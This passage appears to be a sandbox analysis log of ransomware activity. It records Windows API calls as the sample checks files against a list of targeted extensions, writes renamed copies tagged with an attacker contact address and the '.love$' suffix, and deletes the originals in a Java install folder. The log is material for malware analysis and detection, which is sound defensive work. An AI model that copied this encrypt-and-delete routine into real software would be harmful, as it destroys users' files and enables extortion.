(lpString1=".rar", lpString2=".jar") returned 1 [0233.772] lstrlenW (lpString=".bz2") returned 4 [0233.772] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0233.772] lstrlenW (lpString=".7z") returned 3 [0233.772] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0233.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0233.772] lstrlenW (lpString=".dbf") returned 4 [0233.772] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0233.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0233.772] lstrlenW (lpString=".1cd") returned 4 [0233.772] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0233.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0233.772] lstrlenW (lpString=".jpg") returned 4 [0233.772] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0233.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0233.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0233.772] lstrlenW (lpString=".doc") returned 4 [0233.772] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0233.772] lstrlenW (lpString=".docx") returned 5 [0233.772] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0233.772] lstrlenW (lpString=".pdf") returned 4 [0233.772] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0233.773] lstrlenW (lpString=".xls") returned 4 [0233.773] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0233.773] lstrlenW (lpString=".xlsx") returned 5 [0233.773] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0233.773] lstrlenW (lpString=".ppt") returned 4 [0233.773] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0233.773] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0233.773] lstrlenW (lpString=".zip") returned 4 [0233.773] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0233.773] lstrlenW (lpString=".rar") returned 4 [0233.773] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0233.773] lstrlenW (lpString=".bz2") returned 4 [0233.773] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0233.773] lstrlenW (lpString=".7z") returned 3 [0233.773] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0233.773] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0233.773] lstrlenW (lpString=".dbf") returned 4 [0233.773] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0233.773] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0233.773] lstrlenW (lpString=".1cd") returned 4 [0233.773] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0233.773] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0233.773] lstrlenW (lpString=".jpg") returned 4 [0233.773] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0233.773] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0233.773] lstrlenW (lpString="jaccess.jar") returned 11 [0233.773] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0233.792] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=44516) returned 1 [0233.792] CloseHandle (hObject=0x3bc) returned 1 [0233.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 0x20 [0233.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0233.794] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0233.795] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.795] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.795] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0233.796] GetLastError () returned 0x0 [0233.796] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0xade4, lpOverlapped=0x0) returned 1 [0233.814] WriteFile (in: hFile=0x4c4, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xadf0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xadf0, lpOverlapped=0x0) returned 1 [0234.172] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.172] WriteFile (in: hFile=0x4c4, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xea, lpOverlapped=0x0) returned 1 [0234.172] SetEndOfFile (hFile=0x4c4) returned 1 [0234.172] CloseHandle (hObject=0x4c4) returned 1 [0234.173] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.173] SetEndOfFile (hFile=0x3bc) returned 1 [0234.177] CloseHandle (hObject=0x3bc) returned 1 [0234.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0234.178] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 1 [0234.179] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0234.179] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0234.179] lstrlenW (lpString=".doc") returned 4 [0234.179] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0234.179] lstrlenW (lpString=".docx") returned 5 [0234.179] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0234.179] lstrlenW (lpString=".pdf") returned 4 [0234.179] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0234.179] lstrlenW (lpString=".xls") returned 4 [0234.179] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0234.179] lstrlenW (lpString=".xlsx") returned 5 [0234.179] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0234.179] lstrlenW (lpString=".ppt") returned 4 [0234.179] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0234.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0234.180] lstrlenW (lpString=".zip") returned 4 [0234.180] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0234.180] lstrlenW (lpString=".rar") returned 4 [0234.180] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0234.180] lstrlenW (lpString=".bz2") returned 4 [0234.180] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0234.180] lstrlenW (lpString=".7z") returned 3 [0234.180] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0234.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0234.180] lstrlenW (lpString=".dbf") returned 4 [0234.180] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0234.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0234.180] lstrlenW (lpString=".1cd") returned 4 [0234.180] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0234.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0234.180] lstrlenW (lpString=".jpg") returned 4 [0234.180] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0234.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0234.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0234.180] lstrlenW (lpString=".doc") returned 4 [0234.180] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0234.180] lstrlenW (lpString=".docx") returned 5 [0234.180] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0234.180] lstrlenW (lpString=".pdf") returned 4 [0234.181] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0234.181] lstrlenW (lpString=".xls") returned 4 [0234.181] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0234.181] lstrlenW (lpString=".xlsx") returned 5 [0234.181] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0234.181] lstrlenW (lpString=".ppt") returned 4 [0234.181] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0234.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0234.181] lstrlenW (lpString=".zip") returned 4 [0234.181] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0234.181] lstrlenW (lpString=".rar") returned 4 [0234.181] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0234.181] lstrlenW (lpString=".bz2") returned 4 [0234.181] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0234.181] lstrlenW (lpString=".7z") returned 3 [0234.181] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0234.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0234.181] lstrlenW (lpString=".dbf") returned 4 [0234.181] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0234.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0234.181] lstrlenW (lpString=".1cd") returned 4 [0234.181] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0234.181] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0234.181] lstrlenW (lpString=".jpg") returned 4 [0234.181] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0234.182] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0234.182] lstrlenW (lpString="nashorn.jar") returned 11 [0234.182] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0234.183] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=2022734) returned 1 [0234.184] CloseHandle (hObject=0x3bc) returned 1 [0234.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0x20 [0234.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.184] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[im.online@aol.com].love$")) returned 0 [0234.184] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0234.184] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0234.184] lstrlenW (lpString=".doc") returned 4 [0234.184] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0234.184] lstrlenW (lpString=".docx") returned 5 [0234.184] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0234.185] lstrlenW (lpString=".pdf") returned 4 [0234.185] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0234.185] lstrlenW (lpString=".xls") returned 4 [0234.185] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0234.185] lstrlenW (lpString=".xlsx") returned 5 [0234.185] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0234.185] lstrlenW (lpString=".ppt") returned 4 [0234.185] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0234.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0234.185] lstrlenW (lpString=".zip") returned 4 [0234.185] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0234.185] lstrlenW (lpString=".rar") returned 4 [0234.185] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0234.185] lstrlenW (lpString=".bz2") returned 4 [0234.185] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0234.185] lstrlenW (lpString=".7z") returned 3 [0234.185] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0234.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0234.185] lstrlenW (lpString=".dbf") returned 4 [0234.185] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0234.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0234.185] lstrlenW (lpString=".1cd") returned 4 [0234.185] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0234.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0234.185] lstrlenW (lpString=".jpg") returned 4 [0234.185] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0234.185] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0234.186] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0234.186] lstrlenW (lpString=".doc") returned 4 [0234.186] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0234.186] lstrlenW (lpString=".docx") returned 5 [0234.186] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0234.186] lstrlenW (lpString=".pdf") returned 4 [0234.186] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0234.186] lstrlenW (lpString=".xls") returned 4 [0234.186] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0234.186] lstrlenW (lpString=".xlsx") returned 5 [0234.186] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0234.186] lstrlenW (lpString=".ppt") returned 4 [0234.186] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0234.186] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0234.186] lstrlenW (lpString=".zip") returned 4 [0234.186] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0234.186] lstrlenW (lpString=".rar") returned 4 [0234.186] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0234.186] lstrlenW (lpString=".bz2") returned 4 [0234.186] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0234.186] lstrlenW (lpString=".7z") returned 3 [0234.186] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0234.186] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0234.186] lstrlenW (lpString=".dbf") returned 4 [0234.186] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0234.186] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0234.186] lstrlenW (lpString=".1cd") returned 4 [0234.186] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0234.187] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0234.187] lstrlenW (lpString=".jpg") returned 4 [0234.187] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0234.187] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0234.187] lstrlenW (lpString="sunec.jar") returned 9 [0234.187] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0234.188] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=42185) returned 1 [0234.188] CloseHandle (hObject=0x3bc) returned 1 [0234.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 0x20 [0234.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.189] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0234.189] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.190] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.190] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0234.191] GetLastError () returned 0x0 [0234.191] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0xa4c9, lpOverlapped=0x0) returned 1 [0234.195] WriteFile (in: hFile=0x4c4, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xa4d0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xa4d0, lpOverlapped=0x0) returned 1 [0234.197] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.197] WriteFile (in: hFile=0x4c4, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xe6, lpOverlapped=0x0) returned 1 [0234.197] SetEndOfFile (hFile=0x4c4) returned 1 [0234.198] CloseHandle (hObject=0x4c4) returned 1 [0234.198] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.198] SetEndOfFile (hFile=0x3bc) returned 1 [0234.203] CloseHandle (hObject=0x3bc) returned 1 [0234.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0234.203] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 1 [0234.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0234.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0234.204] lstrlenW (lpString=".doc") returned 4 [0234.204] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0234.204] lstrlenW (lpString=".docx") returned 5 [0234.204] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1 [0234.204] lstrlenW (lpString=".pdf") returned 4 [0234.204] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0234.204] lstrlenW (lpString=".xls") returned 4 [0234.204] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0234.204] lstrlenW (lpString=".xlsx") returned 5 [0234.204] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1 [0234.204] lstrlenW (lpString=".ppt") returned 4 [0234.204] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0234.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0234.205] lstrlenW (lpString=".zip") returned 4 [0234.205] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0234.205] lstrlenW (lpString=".rar") returned 4 [0234.205] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0234.205] lstrlenW (lpString=".bz2") returned 4 [0234.205] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0234.205] lstrlenW (lpString=".7z") returned 3 [0234.205] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0234.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0234.205] lstrlenW (lpString=".dbf") returned 4 [0234.205] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0234.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0234.205] lstrlenW (lpString=".1cd") returned 4 [0234.205] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0234.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0234.205] lstrlenW (lpString=".jpg") returned 4 [0234.205] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0234.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0234.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0234.205] lstrlenW (lpString=".doc") returned 4 [0234.205] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0234.205] lstrlenW (lpString=".docx") returned 5 [0234.205] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1 [0234.205] lstrlenW (lpString=".pdf") returned 4 [0234.205] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0234.205] lstrlenW (lpString=".xls") returned 4 [0234.205] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0234.205] lstrlenW (lpString=".xlsx") returned 5 [0234.205] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1 [0234.205] lstrlenW (lpString=".ppt") returned 4 [0234.205] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0234.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0234.206] lstrlenW (lpString=".zip") returned 4 [0234.206] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0234.206] lstrlenW (lpString=".rar") returned 4 [0234.206] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0234.206] lstrlenW (lpString=".bz2") returned 4 [0234.206] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0234.206] lstrlenW (lpString=".7z") returned 3 [0234.206] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0234.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0234.206] lstrlenW (lpString=".dbf") returned 4 [0234.206] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0234.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0234.206] lstrlenW (lpString=".1cd") returned 4 [0234.206] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0234.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0234.206] lstrlenW (lpString=".jpg") returned 4 [0234.206] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0234.206] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0234.206] lstrlenW (lpString="sunjce_provider.jar") returned 19 [0234.206] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0234.708] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=280161) returned 1 [0234.708] CloseHandle (hObject=0x4d4) returned 1 [0234.708] 